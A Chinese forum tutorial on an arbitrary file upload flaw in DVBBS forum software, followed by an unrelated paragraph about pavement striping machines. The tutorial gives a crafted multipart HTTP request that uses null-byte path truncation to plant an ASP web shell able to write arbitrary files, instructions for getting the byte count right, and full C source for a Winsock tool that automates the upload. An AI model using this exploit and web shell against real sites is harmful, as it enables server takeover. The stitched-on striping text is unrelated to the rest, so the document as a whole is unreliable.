主题：动网论坛上传文件漏洞的原理以及攻击的代码实现

最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪（猪蛋儿的《目前流行的BBS安全性比较》一文请参阅：http://wvw.ttian.net/forum/viewtopic.php?id=269）说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了). 我们先看一下动网论坛上传文件的相关代码: '===========无组件上传(upload_0)==================== sub upload_0() set upload=new UpFile_Class ''建立上传对象 upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "请先选择你要上传的文件　[ <a href=# onclick=history.go(-1)>重新上传</a> ]" case 2 Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K　[ <a href=# onclick=history.go(-1)>重新上传</a> ]" end select exit sub else formPath=upload.form("filepath") ''在目录后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file ''列出所有上传了的文件 set file=upload.file(formName) ''生成一个文件对象 if file.filesize<100 then response.write "请先选择你要上传的图片　[ <a href=# onclick=history.go(-1)>重新上传</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正确　[ <a href=# onclick=history.go(-1)>重新上传</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据 file.SaveToFile Server.mappath(filename) ''保存文件 ' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 个文件上传结束!" end if end sub 在上面代码中可以看到这样一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了. 当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了. 我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action='''' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上传 -----------------------------7d4a325500d2-- 上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif" 2.Content-Disposition: form-data; name="fname" C:\1.gif 3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00). 至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句: Content-Length: 1593 很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma comment(lib,"ws2_32.lib") HINSTANCE g_hInst; HWND g_hWnd; HWND m_up; HWND m_host; HWND m_webpath; HWND m_path; HWND m_filename; HWND m_upload; DWORD m_theadid; BYTE sendbuf[10000]; char host[80]; //主机地址 char bbspath[50]; //论坛地址 char uppath[20]; //上传目录 char upfilename[50]; //上传文件名 char upfiledata[8000]; //上传文件内容 int sendsize; //总传送数据大小 int realsndsize = 0; //传送页面文件的大小 char snddata[8000]; char mm[1000]= "<%dim objFSO%>\r\n" "<%dim fdata%>\r\n" "<%dim objCountFile%>\r\n" "<%on error resume next%>\r\n" "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n" "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n" "<%fdata = request(\"cyfddata\")%>\r\n" "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n" "<%objCountFile.Write fdata%>\r\n" "<%if err =0 then%>\r\n" "<%response.write \"<font color=red>save Success!</font>\"%>\r\n" "<%else%>" "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n" "<%end if%>\r\n" "<%err.clear%>\r\n" "<%end if%>" "<%objCountFile.Close%>\r\n" "<%Set objCountFile=Nothing%>\r\n" "<%Set objFSO = Nothing%>" "<%Response.write \"<form action=\'\' method=post>\"%>\r\n" "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n" "<%Response.Write \"<br>\"%>\r\n" "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n" "<%Response.write \"<br>\"%>\r\n" "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n" "<%Response.write \"<input type=submit value=save>\"%>\r\n" "<%Response.write \"</form>\"%>\r\n"; //获得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //设置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上传线程 DWORD WINAPI uploadthread(LPVOID param) { SOCKET s; sockaddr_in sin; struct hostent * hp; unsigned int addr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n" "%s\\%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = '\0'; sprintf(snddata, "\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"act\"\r\n\r\n" "upload\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n" "Content-Type: text/plain\r\n\r\n" "%s\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"fname\"\r\n\r\n" "C:\\1.gif\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n" "上传\r\n" "-----------------------------7d4a325500d2--\r\n\r\n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPI On_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc); WSACleanup(); return 1; }

Striping machines are used to paint lines on a variety of surfaces. They are commonly used on pavement to mark parking lots, roads and airports as well as on grass or dirt for sports fields. Striping machines basically consist of a small engine, an air compressor, the spray nozzle and a series of valves and hoses including one for paint intake. There is frequently a hose ranging from 25 to 50 feet on average that is attached to a separate spray gun similar to the kind found in spray painting equipment that is used for stencils or touch ups. Wheels, a handle and a trigger allow the operator to control the direction of the machine and the force of the paint spray. Most striping machines are pushed by the operator because that increases the amount of control and precision the operator has; self-propelled striping machines or ride-on striping machines are available for large areas. The frame is made from metal and is typically heavy duty stainless steel to resist harsh solvents and corrosion. Some models of striping machines have dashboards that light up for nighttime use. Centralized controls, filters, hose wraps and other accessories help facilitate high productivity for a fast and clean job. Striping machines are generally used by companies that specialize in laying asphalt, sealing cracks and other pavement issues rather than businesses that have paint machines or systems.